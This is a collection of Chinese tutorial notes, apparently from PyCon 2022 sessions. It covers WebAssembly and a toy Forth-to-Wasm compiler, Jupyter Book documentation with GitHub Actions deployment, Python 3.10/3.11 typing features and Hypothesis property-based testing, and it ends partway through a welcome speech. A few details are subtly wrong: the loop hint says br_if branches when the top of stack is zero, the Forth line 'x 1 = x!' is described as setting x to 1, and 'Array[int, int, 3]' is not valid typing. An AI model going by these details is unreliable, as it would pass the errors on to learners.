请在 examples.wat 文件中添加一个新函数 avg3,用于计算三个 f64 类型参数的平均值。请参照 avg2 函数的结构,并记得导出该函数。
完成后,重新编译并测试:
wat2wasm examples.wat -o examples.wasm
wasm3 --repl examples.wasm
# 测试 avg3 函数
wasm3> avg3 1 2 3
2
4.5:练习 C - 编写 f_to_c 函数
以下是需要完成的练习内容。
请在 examples.wat 文件中添加一个新函数 f_to_c,用于将华氏温度转换为摄氏温度。转换公式为:
C = (F - 32) * 5 / 9
函数应接收一个 f64 参数 $f,并返回一个 f64 结果。
完成后,重新编译并使用 Wasm3 测试你的函数。
5:编写一个简单的编译器 🧑💻
上一节我们手动编写了 WebAssembly,本节中我们来看看更典型的用法:编写一个编译器,将高级语言代码编译成 WebAssembly。

我们将为一个名为 ChickyForth 的微型语言编写编译器。Forth 是一种基于栈的语言,其语义与 WebAssembly 非常相似,因此编译过程相对直接。
5.1:ChickyForth 语言简介

ChickyForth 程序由空格分隔的“单词”组成。
- 数字:如
1、2,会被压入栈。 - 运算符:如
+、*,从栈顶弹出所需数量的操作数,运算后将结果压栈。 - 变量:
x:读取变量x的值并压栈。x!:从栈顶弹出一个值,并赋值给变量x。
- 输入/输出:
.:弹出栈顶整数并打印,后跟空格。emit:弹出栈顶整数,将其作为 Unicode 码点打印对应字符。nl:打印换行符(等价于10 emit)。input:从标准输入读取一个整数并压栈。
- 注释:括号内的内容为注释,如
( 这是一个注释 )。
示例:程序 1 2 + 3 4 + * . 会计算 (1+2)*(3+4) 并打印结果 21。
5.2:编译器实现概览
编译器 chicky_forth.py 的核心流程如下:
- 读取源文件:将文件内容按空格分割成单词列表。
- 移除注释:删除所有括号内的注释单词。
- 声明变量:找出程序中使用的所有变量,在生成的 Wat 代码中为它们声明局部变量(如
(local $x i32))。 - 代码生成:遍历每个单词,将其翻译成对应的 WebAssembly 指令序列。
- 数字 ->
i32.const <value> - 运算符
+->i32.add - 变量
x->local.get $x - 变量赋值
x!->local.set $x - ...
- 数字 ->
- 组装与输出:将生成的指令包裹在模块头尾,连接成完整的 Wat 字符串,然后使用
wat2wasm工具将其编译为.wasm文件。
5.3:运行编译器与执行程序
我们使用一个 Python 脚本 execute.py 作为宿主环境来加载并运行编译后的 Wasm 模块。该脚本提供了 Wasm 模块所需导入的 print、input、emit 函数的具体实现。
以下是如何编译并运行一个 ChickyForth 程序:
# 1. 切换到 fourth 目录
cd fourth
# 2. 使用编译器编译 .4th 源文件
./chicky_forth.py examples/numbers.4th
# 这会生成 examples/numbers.wat 和 examples/numbers.wasm
# 3. 使用宿主环境执行编译后的 Wasm 文件
python execute.py examples/numbers.wasm
5.4:练习 D - 添加更多运算符
以下是需要完成的练习内容。
当前编译器的 OPERATIONS 字典只支持少数运算符。请扩展该字典,添加对以下运算符的支持:
-(减法)/(除法)=(等于)<>(不等于)<(小于)<=(小于等于)>(大于)>=(大于等于)
提示:参考 WebAssembly 指令手册。例如,有符号整数除法指令是 i32.div_s,相等比较是 i32.eq。请将每个 ChickyForth 单词映射到正确的 WebAssembly 指令字符串列表。
修改完成后,使用 operators.4th 文件测试你的编译器,确保输出与预期一致。
5.5:练习 E - 实现 do-loop 循环
以下是需要完成的练习内容。
为了实现更复杂的逻辑,我们需要在 ChickyForth 中添加 do-?-loop 循环结构,其语义类似于其他语言的 while 循环:
x 1 = x! ( 将 x 初始化为 1 )
do
x 10 <= ? ( 条件:x <= 10 吗?真为1,假为0 )
x . nl ( 循环体:打印 x 并换行 )
x 1 + x! ( 循环体:x 增加 1 )
loop
do:标记循环开始。?:检查栈顶值。如果为 0(假),则跳出循环;如果非 0(真),则继续执行循环体。loop:标记循环结束,并跳回do之后的位置。
请在 OPERATIONS 字典中添加这三个单词的实现。你需要使用 WebAssembly 的 block、loop 和 br_if 指令来控制流程。
提示:
do对应开始一个block和一个loop。?对应br_if 0(如果栈顶为0,跳出 block)和br 1(无条件跳回 loop 开始)。loop对应结束loop和结束block。
实现后,使用 1_to_10.4th、triangle.4th 和 pow2.4th 等示例程序测试你的编译器。
总结与资源 📚
本节课中我们一起学习了 WebAssembly 的核心概念。我们从了解其作为高性能、可移植的虚拟机指令集开始,通过 Pyodide 体验了在浏览器中运行 Python 的能力。接着,我们深入底层,手动编写了 WebAssembly 文本格式代码,理解了基于栈的计算模型。最后,我们实现了一个简单的编译器,将 ChickyForth 语言编译为 WebAssembly,完成了从高级语言到低级指令的完整旅程。
希望本教程为你打开了 WebAssembly 世界的大门。虽然我们只触及了表面,但你已经掌握了进一步探索的基础。
延伸阅读资源:
- 《The Art of WebAssembly》 by Rick Battagline:一本实用的入门指南。
- 《WebAssembly: The Definitive Guide》 by Brian Sletten:更深入的技术概述。
- 官方资源:

祝你探索愉快!
086:从文档字符串到自动构建 📚


在本教程中,我们将学习如何为Python项目构建一套自动化、美观且实用的文档。我们将从编写基础的文档字符串开始,逐步利用现代工具链,最终实现文档的自动构建与在线部署。整个过程旨在简化传统文档工具的复杂性,让开发者能更专注于内容本身。
1:为什么文档很重要?🤔
上一节我们介绍了本教程的目标,本节中我们来看看文档的核心价值。如果你不认为文档重要,可能就不会在这里。但我们仍需在共同基础上达成共识。
文档的价值体现在多个层面:
- 帮助自己:你是最了解自己代码的人。文档能帮助你回顾代码,理解当时的选择和思路。
- 帮助团队与合作者:当他人需要使用你的代码时,文档能帮助他们熟悉和阅读代码,尤其是在你无法直接提供帮助时。
- 促进代码审查:清晰的文档能让审查者理解你的设计选择,使审查过程更顺利。
- 帮助陌生人使用代码:这是最终目标。无论是公司内部还是开源项目,你都希望从未谋面的人也能使用你的代码。
- 达到文档启蒙:优秀的文档本身就能进行教学,教会他人如何使用代码、代码做了什么以及为何这样做,甚至无需维护者直接互动。
如果没有文档,你的代码“就不存在”。这在很大程度上是事实。
2:关于讲师与教程目标 🎯
上一节我们探讨了文档的价值,本节我们来了解一下本教程的讲师及其设计思路。
讲师Jacob Deppen是一名数据科学家,同时维护着数个开源库。他并非文档领域的专家,但和许多人一样,他重视优秀文档,并希望找到一种更简单、快捷的方式来生成和维护文档。
本教程的工作流程就是为那些不想或无法成为文档专家,但仍希望拥有高质量文档的开发者设计的。它基于以下目标构建:
- 使用已知工具(如Markdown、Jupyter Notebook)编写文档。
- 通过简单操作,自动聚合文档字符串等内容,生成美观的文档。
- 尽量减少持续集成/持续部署(CI/CD)的配置复杂度。
- 默认提供美观、可读的现代样式,无需深度定制。
3:Sphinx的定位与挑战 ⚙️
上一节我们明确了教程的目标,本节中我们来看看Python文档领域的一个关键工具:Sphinx。
Sphinx是Python文档生成的事实标准,功能强大且历史悠久。许多专业文档编写者用它构建了出色的文档。然而,对于大多数中小型项目或团队内部项目而言,Sphinx的复杂性往往超出了实际需求。
Sphinx的优点包括:
- 是Jupyter Book等许多现代工具的基础。
- 拥有庞大的生态系统(模板、扩展)。
- 与Read the Docs等托管平台集成良好。
但其挑战在于:
- 复杂性高:涉及Makefile等配置,学习曲线陡峭。
- 依赖reStructuredText:这是一种并非所有Python开发者都熟悉的标记语言,而Markdown和Jupyter Notebook更为普及。
调查显示,尝试使用Sphinx的人中,成功构建文档的比例并不高。许多人因流程复杂而推迟或放弃了文档工作。因此,本教程的策略是:以Sphinx为基石,但通过上层工具尽量简化与它的直接交互。
4:最终成果预览 🎨


上一节我们讨论了Sphinx的优缺点,本节我们来看看通过本教程的工作流程,最终能生成什么样的文档。
我们的目标是构建一个实时在线的网页文档,具备以下功能:
- 内置搜索:无需额外配置。
- 清晰目录:自动生成右侧导航栏。
- 代码高亮与复制:代码块自动语法高亮,并附带一键复制工具。
- 混合内容支持:可集成Jupyter Notebook(混合代码与Markdown说明)。
- 特殊内容块:支持添加警告、提示、笔记等样式。
- 自动API参考:从代码中的文档字符串自动生成格式规范的函数、类参考文档,并可链接到源代码。
- 易于扩展:添加新的Markdown指南或Python模块后,文档可自动更新。
这些功能主要将通过Jupyter Book工具实现。
5:初始设置与仓库准备 💻
上一节我们预览了最终成果,本节我们开始动手,进行初始的环境和代码准备。
我们需要从GitHub上获取教程的起始代码仓库。
- Fork仓库:访问提供的GitHub仓库链接,点击“Fork”按钮,将其复制到你的账户下。
- 克隆仓库:在本地使用Git命令将你Fork后的仓库克隆到计算机上。
git clone <你的仓库地址> - 进入目录:切换到克隆下来的项目目录中。
如果你在过程中遇到问题,请随时提问。完成后,你可以举起绿色便利贴(虚拟或实物)表示准备就绪。
6:理解项目结构与配置文件 📁
上一节我们准备好了代码,本节我们来探索项目的结构以及核心配置文件。
项目目录通常包含以下关键部分:
docs/:存放文档源文件的目录(如.md、.ipynb文件)。src/:存放项目Python源代码的目录。pyproject.toml或setup.cfg:项目元数据和依赖声明文件。_config.yml(Jupyter Book):文档构建的主配置文件。
_config.yml文件是Jupyter Book的核心,它定义了:
- 书名、作者等元数据。
- 文档的目录结构 (
toc)。 - 使用的扩展和插件。
- 构建输出设置。
我们将通过编辑这个文件来控制文档的方方面面。
7:编写文档字符串(Docstrings) 📝
上一节我们了解了项目配置,本节我们深入最基础的文档单元:文档字符串。
文档字符串是写在模块、函数、类或方法定义内部的首个字符串,用于描述其用途。遵循标准格式(如Google风格、NumPy风格)能让工具更好地解析和展示它们。
以下是一个Google风格文档字符串的示例:
def calculate_average(numbers: List[float]) -> float:
"""
计算给定数字列表的平均值。
参数:
numbers:一个包含数字的列表。
返回:
所有数字的平均值。
抛出:
ValueError:如果输入列表为空。
"""
if not numbers:
raise ValueError("The list of numbers cannot be empty.")
return sum(numbers) / len(numbers)
良好的文档字符串应清晰说明:
- 功能:这个代码单元是做什么的?
- 参数:每个参数的类型和含义。
- 返回值:返回什么类型的值,代表什么?
- 可能抛出的异常:在什么情况下会出错。
8:使用Jupyter Book构建本地文档 🛠️
上一节我们学习了如何编写文档字符串,本节我们利用Jupyter Book将它们与指南文档结合起来,构建本地版本。
首先,确保安装了Jupyter Book:
pip install jupyter-book
构建文档的基本命令是:
jupyter-book build docs/
其中docs/是你的文档源文件目录。构建完成后,HTML输出通常位于docs/_build/html目录。你可以用浏览器打开index.html文件查看效果。
在_config.yml中配置目录(toc)时,可以使用通配符(glob)自动包含文件,例如:
toc:
- file: api/index
- glob: api/*.rst
这样,任何添加到api/文件夹的.rst文件都会被自动收录到文档目录中,无需手动更新配置。
9:配置自动化部署(GitHub Actions) 🤖
上一节我们成功在本地构建了文档,本节我们实现自动化:每当代码更新时,自动构建并发布文档到网上。
我们将使用GitHub Actions实现CI/CD。在项目根目录创建.github/workflows/deploy.yml文件。
以下是该工作流文件的核心内容解析:
name: Deploy to GitHub Pages # 工作流名称
on:
push:
branches: [ main ] # 触发条件:推送到main分支时运行
jobs:
deploy:
runs-on: ubuntu-latest # 在Ubuntu系统上运行
steps:
- uses: actions/checkout@v2 # 步骤1:检出代码
- uses: actions/setup-python@v2 # 步骤2:设置Python环境
with:
python-version: '3.8'
- name: Install dependencies # 步骤3:安装依赖
run: |
pip install -r requirements.txt
pip install . # 安装当前包
- name: Build the book # 步骤4:构建文档
run: |
jupyter-book build docs/
- name: Deploy to GitHub Pages # 步骤5:部署到GitHub Pages
uses: peaceiris/actions-gh-pages@v3
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
publish_dir: docs/_build/html # 将构建好的HTML发布到gh-pages分支
10:启用GitHub Pages并验证 🚀
上一节我们配置了自动部署工作流,本节我们完成最后一步:启用GitHub Pages服务并查看在线文档。
- 推送代码:将包含
.github/workflows/deploy.yml的更改推送到GitHub仓库的main分支。 - 触发Action:推送后,在GitHub仓库的“Actions”标签页会看到自动运行的工作流。等待其完成(显示绿色对勾)。
- 启用Pages:
- 进入仓库的“Settings”。
- 在左侧边栏找到“Pages”。
- 在“Source”下拉菜单中,选择“Deploy from a branch”。
- 在“Branch”处,选择
gh-pages分支,目录保持/(root)。 - 点击“Save”。
- 访问文档:稍等片刻后,页面会提供一个URL(通常为
https://<你的用户名>.github.io/<仓库名>/),点击即可访问你自动构建的在线文档。
11:进阶工具与质量保障 🔧
上一节我们完成了自动化部署,本节我们介绍一些可选的高级工具,它们能进一步提升文档质量和开发体验。
-
Interrogate:检查代码的文档字符串覆盖率,生成类似测试覆盖率的报告,标识出缺少文档字符串的部分。
pip install interrogate interrogate src/your_package -
pydocstyle:一个Linter工具,用于检查文档字符串是否符合PEP 257等约定,例如检查首行是否以句号结尾、格式是否正确等。
pip install pydocstyle pydocstyle src/your_package -
doctest / xdoctest:允许你将可执行的示例代码嵌入文档字符串,并可以像单元测试一样运行它们,确保示例代码始终有效。
def fibonacci(n): """ 生成斐波那契数列直到第n个数。 示例: >>> fibonacci(5) [0, 1, 1, 2, 3] """ # ... 函数实现 ...使用xdoctest运行:
pip install xdoctest python -m xdoctest your_module fibonacci
这些工具可以集成到GitHub Actions中,在合并代码前自动检查,保障文档的基本质量。
12:总结与回顾 📖
在本教程中,我们一起学习了为Python项目构建自动化文档的完整流程。
我们从理解文档的重要性开始,确立了为开发者自己、团队以及陌生人提供帮助的目标。接着,我们介绍了以Jupyter Book为核心的工具链,它允许我们用熟悉的Markdown和Jupyter Notebook编写内容,并简化了与底层Sphinx引擎的交互。


我们动手实践了从编写规范的文档字符串,到在本地使用Jupyter Book构建文档,再到配置GitHub Actions工作流实现自动构建与部署,最后成功将文档发布到GitHub Pages。此外,我们还了解了一些用于检查文档覆盖率和风格的进阶工具。

通过这套流程,你可以用相对较小的学习和配置成本,为你的项目建立一套专业、自动更新且易于访问的文档系统。现在,你可以尝试为自己的项目应用这些步骤,构建专属的文档了。
087:打字峰会内容整理

在本教程中,我们将学习 Python 类型系统的最新发展。我们将重点介绍 Python 3.10 中已发布的新类型功能,并预览即将在 Python 3.11 中推出的特性。内容基于 David Foster 在打字峰会上的演讲整理,旨在帮助初学者理解这些新概念。
Python 3.10 中的新类型功能 🆕
上一节我们概述了本教程的内容,本节中我们来看看 Python 3.10 中引入的几个重要类型特性。这些特性旨在提升类型注释的表达能力和易用性。
参数规格 (ParamSpec)
参数规格对于注释装饰器特别有用。它可以作为任何参数集的占位符,使得为装饰器提供良好的类型注解成为可能。
使用前示例:装饰器的参数类型难以精确注解。
使用后示例:使用 ParamSpec 可以清晰地定义装饰器类型。
from typing import TypeVar, Callable, ParamSpec
P = ParamSpec('P')
R = TypeVar('R')
def decorator(func: Callable[P, R]) -> Callable[P, R]:
def wrapper(*args: P.args, **kwargs: P.kwargs) -> R:
# 装饰器逻辑
return func(*args, **kwargs)
return wrapper
类型守卫 (TypeGuard)
类型守卫允许函数在返回 True 时,告知类型检查器其参数的类型已被收窄。这在处理类型检查器无法自动推断的类型时非常有用。
使用前示例:一个检查列表是否为字符串列表的函数,返回布尔值,但类型检查器无法据此收窄类型。
使用后示例:使用 TypeGuard 注解,类型检查器可以在条件为真时收窄类型。
from typing import TypeGuard, List
def is_str_list(val: List[object]) -> TypeGuard[List[str]]:
return all(isinstance(x, str) for x in val)
def process(data: List[object]) -> None:
if is_str_list(data):
# 在此分支中,`data` 的类型被收窄为 List[str]
for s in data:
print(s.upper()) # 类型安全
类型别名 (TypeAlias)
类型别名允许显式地声明一个变量是类型别名,提高了代码的清晰度,并支持前向引用。
使用前示例:将类型表达式赋值给变量是隐式别名,在某些情况下可能引起混淆。
使用后示例:使用 TypeAlias 显式声明。
from typing import TypeAlias
# 显式类型别名
Vector: TypeAlias = list[float]
联合类型与可选类型的新语法
新语法允许使用管道运算符 | 来书写联合类型,并使用 X | None 代替 Optional[X],减少了对 typing 模块的导入需求。
使用前示例:需要从 typing 模块导入 Union 和 Optional。
使用后示例:直接使用 | 运算符。
# 旧方式
from typing import Union, Optional
def old_way(x: Union[int, str]) -> Optional[int]: ...
# 新方式 (Python 3.10+)
def new_way(x: int | str) -> int | None: ...


Python 3.11 中的前瞻类型功能 🔮
上一节我们介绍了 Python 3.10 的稳定特性,本节中我们来看看预计在 Python 3.11 中引入的一些新功能。
字面字符串 (LiteralString)
字面字符串类型用于注解那些期望接收特定字符串字面量的 API,有助于防止命令注入等安全问题。
使用场景:SQL 查询、日志格式字符串等。
from typing import LiteralString
def run_query(sql: LiteralString) -> None:
# 确保 `sql` 是字面量,不是拼接的字符串
...
# 正确用法
run_query("SELECT * FROM users")
# 类型检查器可能报错的用法
query = "SELECT * FROM " + table_name
run_query(query) # 可能引发类型错误
类型变量元组 (TypeVarTuple)
类型变量元组用于定义具有可变数量泛型参数的数组类型,例如 NumPy 的 ndarray 或 TensorFlow 的 Tensor,可以指定维度或数据类型。
使用场景:注解多维数组的维度。
from typing import TypeVarTuple, Generic
Shape = TypeVarTuple('Shape')
class Array(Generic[*Shape]):
def __init__(self, *shape: *Shape):
self.shape = shape
# 可以定义特定维度的数组类型
Image = Array[int, int, 3] # 高度,宽度,3个颜色通道
Self 类型
Self 类型简化了返回实例自身(流式接口)的方法的类型注解。


使用前示例:需要使用复杂的泛型注解来声明返回 self。
使用后示例:直接使用 Self 类型。
from typing import Self
class Builder:
def add(self, value: int) -> Self:
# ... 操作
return self
数据类转换器 (dataclass_transform)
此装饰器允许库作者标记其元类(如 Pydantic 模型或 Attrs 类)的行为类似于数据类,无需为每个类型检查器编写专用插件。
使用场景:自定义类装饰器或元类,使其获得类似 @dataclass 的类型检查支持。
from typing import dataclass_transform
@dataclass_transform
def my_model(cls):
... # 将类转换为模型的逻辑
return cls
@my_model
class User:
name: str
age: int
类型字典 (TypedDict) 的扩展
扩展了 TypedDict,允许更简单地标记键为必需或非必需,而无需使用继承技巧。
使用前示例:通过继承 Total=False 来标记非必需键。
使用后示例:直接在定义中使用 Required 和 NotRequired。
from typing import TypedDict


# Python 3.11 之前
class MovieOld(TypedDict, total=False):
title: str
year: int

# Python 3.11 新方式
from typing import Required, NotRequired
class MovieNew(TypedDict):
title: Required[str]
year: NotRequired[int]
director: NotRequired[str]

总结与资源 📚
本节课中我们一起学习了 Python 3.10 和 3.11 中引入的一系列新类型功能。从提升装饰器类型的 ParamSpec,到收窄类型的 TypeGuard 和 LiteralString,再到增强泛型表达能力的 TypeVarTuple 和 Self 类型,这些特性共同使 Python 的类型系统更加强大和易用。

如果你想了解更多关于 Python 类型 PEP 的信息,可以搜索 “Python 的类型检查复兴” 这篇文章,其中整理了详细的 PEP 列表和链接。

大多数新功能会首先在 typing_extensions 模块中提供,这意味着即使你使用的是旧版 Python,也可以通过安装此模块来提前使用这些特性。
088:教程 - Zac Hatfield-Dodds 介绍 - VikingDen7 - BV1f8411Y7cP


概述
在本教程中,我们将学习什么是基于属性的测试,以及如何使用 Python 库 Hypothesis 来编写这类测试。我们将从基本概念开始,逐步深入到如何描述测试数据、设计测试策略,并最终将其应用到实际项目中。
什么是基于属性的测试?

测试是运行代码并检查其行为是否符合预期的艺术与科学。在 Python 中,这通常意味着运行代码,如果没有引发异常,则视为良好;如果结果符合预期,则更好。
有多种测试类型,例如:
- 单元测试:测试较小的代码单元。
- 集成测试:测试更大的代码单元。
- 快照测试:保存输出以便未来比较。
- 模糊测试:向软件输入随机数据,观察是否崩溃。
- 基于属性的测试:检查代码是否满足某些通用属性。
基于属性的测试的核心思想是,我们定义代码应始终满足的通用属性或规则,然后让测试框架自动生成大量输入来验证这些属性。
一个经典示例:测试排序函数
假设我们需要测试一个排序函数。传统的单元测试可能如下所示:
def test_sort():
assert sort([1, 1, 2, 3]) == [1, 2, 3]
assert sort([3.0, 2.0, 1.0]) == [1.0, 2.0, 3.0]
assert sort(['c', 'a', 'b']) == ['a', 'b', 'c']

参数化测试可以简化这个过程:
@pytest.mark.parametrize('input, expected', [
([1, 1, 2, 3], [1, 2, 3]),
([3.0, 2.0, 1.0], [1.0, 2.0, 3.0]),
(['c', 'a', 'b'], ['a', 'b', 'c']),
])
def test_sort(input, expected):
assert sort(input) == expected
然而,这些测试只覆盖了我们能想到的少数案例。基于属性的测试则更进一步。我们不需要知道每个输入的确切输出,但我们可以定义排序结果必须满足的属性:


- 输出是有序的:对于排序后的列表,任意相邻元素都应满足
前一个元素 <= 后一个元素。 - 输出是输入的排列:排序后的列表应包含与输入列表完全相同的元素(包括重复项)。
任何满足这两个属性的函数,从数学上讲都是一个正确的排序函数。使用 Hypothesis,我们可以这样编写测试:
from hypothesis import given
from hypothesis.strategies import lists, integers
@given(lists(integers()))
def test_sort_properties(input_list):
output = sort(input_list)
# 属性1:输出是有序的
for i in range(len(output) - 1):
assert output[i] <= output[i + 1]
# 属性2:输出是输入的排列(元素集合相同)
assert sorted(output) == sorted(input_list)
Hypothesis 会自动生成大量随机整数列表(包括空列表、长列表、包含重复项的列表等)来运行这个测试,试图找到一个违反上述属性的反例。
基于属性测试的优势
- 生成意想不到的输入:它能自动生成开发者可能想不到的边缘情况,而这些恰恰是 bug 容易隐藏的地方。
- 无需知道确切答案:即使我们不知道函数的确切输出,也可以检查其是否满足某些不变量或属性。
- 发现理解偏差:有时测试发现的不是代码错误,而是我们对问题或库合约理解的错误。
- 简单的有效性检查:一个非常有效的属性是“对有效输入不引发异常”。Hypothesis 生成的各种奇怪但合法的输入,常常能触发代码内部的错误。
如何使用 Hypothesis 描述测试数据?
上一节我们介绍了基于属性测试的概念,本节我们将学习如何使用 Hypothesis 的核心工具——策略——来描述和生成测试数据。

策略定义了如何生成特定类型的值。Hypothesis 提供了多种内置策略。
标量值策略
用于生成基本的单值数据。
none(): 生成None。booleans(): 生成True或False。integers(min_value=0, max_value=10): 生成整数,可指定范围。floats(): 生成浮点数。text(max_size=6): 生成字符串,可指定最大长度、字符集或正则表达式模式。binary(): 生成字节数据。datetimes(): 生成日期时间。
示例:测试一个函数处理二进制数据时是否崩溃。
@given(binary())
def test_decode_no_crash(data):
# 假设 is_binary_string 是一个处理二进制数据的函数
result = is_binary_string(data)
# 测试不会崩溃就是一个有效的属性
集合策略
用于生成列表、字典等集合数据。
lists(elements=integers(), min_size=1, max_size=10): 生成整数列表,可指定大小范围和元素唯一性。dictionaries(keys=text(), values=integers()): 生成字典。tuples(integers(), text()): 生成固定长度的元组,需要为每个位置指定策略。- 若要生成可变长度元组,可使用
lists(...).map(tuple)。
- 若要生成可变长度元组,可使用
示例:测试列表的最小值、平均值和最大值之间的关系。

@given(lists(floats(), min_size=1))
def test_min_avg_max(lst):
assert min(lst) <= sum(lst) / len(lst) <= max(lst)
注意:这个测试在极端情况下(如浮点数溢出)可能会失败,这正体现了属性测试的价值。
通过映射和过滤修改策略

你可以对策略生成的值进行转换或筛选。

.map(): 对生成的值应用一个函数。integers().map(str) # 生成整数的字符串表示 lists(integers()).map(sorted).map(tuple) # 生成已排序的整数元组.filter(): 只保留满足条件的值。
注意:过滤条件拒绝过多数据(如超过80%)会影响性能,应尽量使用integers().filter(lambda x: x != 0) # 生成非零整数.map()来构造所需数据。
特殊策略
just(value): 总是生成指定的值。sampled_from([‘read‘, ‘write‘, ‘execute‘]): 从给定列表中抽样。one_of(strategy_a, strategy_b): 从多个策略中任选一个生成值。builds(MyClass, arg1=strategy1, arg2=strategy2): 构建自定义类的实例。如果类有类型注解,Hypothesis 可以自动推断参数策略。recursive(base, extension): 生成递归数据结构,如 JSON。json = recursive( none() | booleans() | floats() | text(), lambda children: lists(children) | dictionaries(text(), children) )


复合策略与数据生成

当数据内部存在依赖关系时(例如,一个值必须基于另一个值),可以使用 @composite 装饰器。

from hypothesis.strategies import composite
@composite
def sorted_tuple(draw):
# `draw` 是一个函数,用于从策略中“抽取”一个值
a = draw(integers())
b = draw(integers())
return tuple(sorted((a, b)))
你也可以编写返回策略的普通函数,这在项目中被多次重用时非常方便。
常见的测试策略与模式
在了解了如何生成数据后,本节我们来看看如何为你的代码设计有效的基于属性的测试。我们将探讨几种常见且强大的测试模式。
1. 模糊测试 / “不崩溃”测试
最简单的属性是:对于所有有效输入,代码不应引发意外异常。这通常能发现许多边界情况错误。
@given(valid_input_strategy)
def test_does_not_crash(input_data):
my_function(input_data) # 如果没有异常抛出,测试通过
2. 往返属性
这是最强大、最常用的模式之一。如果你有一个操作和它的逆操作(如编码/解码、序列化/反序列化、保存/加载),那么组合操作应该是一个恒等操作。
@given(complex_data)
def test_roundtrip(data):
# 序列化然后反序列化,应该得到原始数据
serialized = serialize(data)
deserialized = deserialize(serialized)
assert deserialized == data
往返测试之所以重要,是因为数据持久化和转换是应用的基础,且涉及的格式复杂,容易在边界情况下出错。

3. 等价函数测试
如果你有两个实现方式不同但功能应该相同的函数,可以测试它们在相同输入下是否产生相同输出。
- 新旧版本对比:重构前后。
- 不同算法对比:简单实现与优化实现。
- 不同调用顺序:某些操作应具有交换律或结合律。
@given(input_data)
def test_functions_equivalent(data):
result1 = old_function(data)
result2 = new_function(data)
assert result1 == result2
4. 不变性与合理性检查
检查输出是否满足一些基本的数学或逻辑约束。
- 概率值应在 0 到 1 之间。
- 物理模拟中的能量应守恒。
- 字符串不应包含非法字符。
- 排序后的列表长度不变。
@given(list_of_numbers)
def test_output_in_range(numbers):
output = calculate_probability(numbers)
assert 0 <= output <= 1
5. 基于模型的测试(状态测试)
对于有状态的系统(如 API、数据库交互),你可以定义一个状态机模型。Hypothesis 会随机生成一系列操作命令,并验证系统状态是否符合预期。这是一个更高级的主题,本教程不深入展开。
6. 变形关系
当你甚至不知道单个输入的正确输出时,可以检查输入变化与输出变化之间的关系。例如,如果你将所有输入翻倍,输出是否也相应翻倍?这在科学计算和工程模拟中非常有用。
@given(input_data)
def test_scaling(data):
result1 = simulation(data)
result2 = simulation([x * 2 for x in data])
# 检查 result2 是否近似等于 result1 * 2
assert are_close(result2, result1 * 2)

核心建议:对于大多数项目,从“不崩溃”测试和“往返”测试开始,就能获得巨大价值。无需一开始就追求复杂的属性。
实践应用与配置
最后,我们将讨论如何在实际项目中应用基于属性的测试,并介绍一些重要的配置和最佳实践。

集成到测试套件中

- 并非所有测试都必须是基于属性的:根据项目情况,基于属性的测试可能占 10% 到 90%。将其作为对传统示例测试的补充。
- 创建共享策略:如果项目中有常用的复杂数据类型,可以创建并导出对应的 Hypothesis 策略,供所有测试文件导入使用。这提高了代码复用性和一致性。
- 使用
register_type_strategy:为自定义类型注册全局生成策略,这样在任何地方使用builds()或推断时都会自动采用。
调试与洞察
hypothesis.note(value): 在测试运行中打印信息,但仅针对最终(尤其是失败的)示例打印,避免输出泛滥。hypothesis.event(description): 记录事件,用于生成测试运行的统计信息,帮助你了解生成了哪些类型的输入。
@given(lists(integers()))
def test_some_list(ls):
hypothesis.event(f“length-{len(ls)}“) # 统计不同长度列表的比例
...
重要配置
可以通过装饰器 @settings(...) 或在 hypothesis.settings 模块中设置全局配置。
deadline:单个测试用例允许运行的最长时间(默认约200毫秒)。对于较慢的测试(如涉及数据库),可以调高此值。max_examples:测试每个函数时运行的最大随机示例数(默认100)。在持续集成(CI)中可设置为较低值以保证速度,在夜间构建中可提高以发现更深层的错误。derandomize:设为True可使测试具有确定性,适用于希望每次运行都相同的场景。
处理不稳定性与重现失败
- 本地数据库:Hypothesis 会在
.hypothesis目录下保存导致测试失败的示例。重新运行测试时,会首先重放这些示例,确保调试周期快速,并确认错误是否已被修复。 @example装饰器:用于添加你特别关心的具体测试用例,它们每次都会运行。@given(text()) @example(““) # 总是测试空字符串 @example(“special@case.com“) # 总是测试这个特殊值 def test_something(s): ...- CI 集成:在 CI 环境中,可以通过设置
print_blob=True,将失败用例编码后打印出来。你可以将其复制到本地进行重放。 - 共享数据库:对于团队项目,可以配置 Hypothesis 使用共享的网络存储(如 Redis)来保存失败用例,方便整个团队重现和修复问题。
测试生成与优化
hypothesis write命令:Hypothesis 可以尝试为指定函数自动生成测试代码框架,这是一个很好的起点。- 覆盖引导:Hypothesis 可以集成覆盖引导的模糊测试技术,利用代码覆盖率反馈来更智能地生成输入。
- 目标函数:你可以定义一个“目标”(如误差大小、队列长度),Hypothesis 会尝试优化输入以使这个目标值最大化,这对于发现数值计算中的极端情况很有帮助。
更新与部署
Hypothesis 项目活跃更新,并采用持续部署。你可以选择固定版本或定期更新以获得新功能和错误修复。
总结
在本教程中,我们一起学习了基于属性测试的核心思想。我们从理解“属性”的概念开始,通过排序函数的例子,看到了如何用通用规则代替具体的输入输出对。
接着,我们深入探讨了 Hypothesis 库,学习了如何使用各种策略来灵活描述和生成测试数据,从简单的标量到复杂的递归结构。
然后,我们转向测试设计,介绍了几种强大的测试模式,如“往返测试”、“等价函数测试”和“不变性检查”,这些模式能帮助我们为各种代码编写有效的属性测试。
最后,我们讨论了如何将基于属性的测试集成到实际项目中,包括配置管理、调试技巧以及处理不稳定测试和团队协作的最佳实践。

基于属性的测试是一个强大的工具,它能以相对较少的代码发现大量的潜在问题。建议从简单的属性(如不崩溃、往返正确)开始,逐步将其融入你的测试工作流中。
089:欢迎 - 艾米莉·莫尔豪斯

概述
在本节中,我们将一起回顾 PyCon 2022 大会的欢迎致辞。我们将了解会议背景、日程安排、场地布局、重要活动以及参会者需要遵守的健康与安全准则和行为规范。

大家好,欢迎来到 PyCon 2022。

距离我们上次相聚已经过去了三年。我花了很多时间想象再次回到这里的感觉,但任何想象都无法与现实相比。自 2019 年以来发生了很多事情。
我们经历了一些无法预见的事情,生活在疫情期间以一种奇特的方式继续着。


我们都经历了失落和挣扎。我于 2018 年首次受邀担任 PyCon 的主席。通常,担任 PyCon 主席需要先共同担任一年,再独立担任两年。我记得 2018 年与时任会议主席 E 的对话,我当时表示无法预知几年后自己会在哪里。
我确实无法想象疫情期间发生的那些事。我们社区最宝贵的特质之一就是包容性。在这样的事件中,这一点尤为明显。我们能够转向线上,并寻找其他方式保持社区联系。我们愿意以开放的心态和创造性的解决方案参与其中。
但这一切都无法与现场的感觉相比。过去三年,时间仿佛在奇特的漩涡中流逝。很多事情发生了变化,但我们又回到了这里,仿佛一切如常。我将见到一些认识多年的朋友,或那些只在网上见过的人。
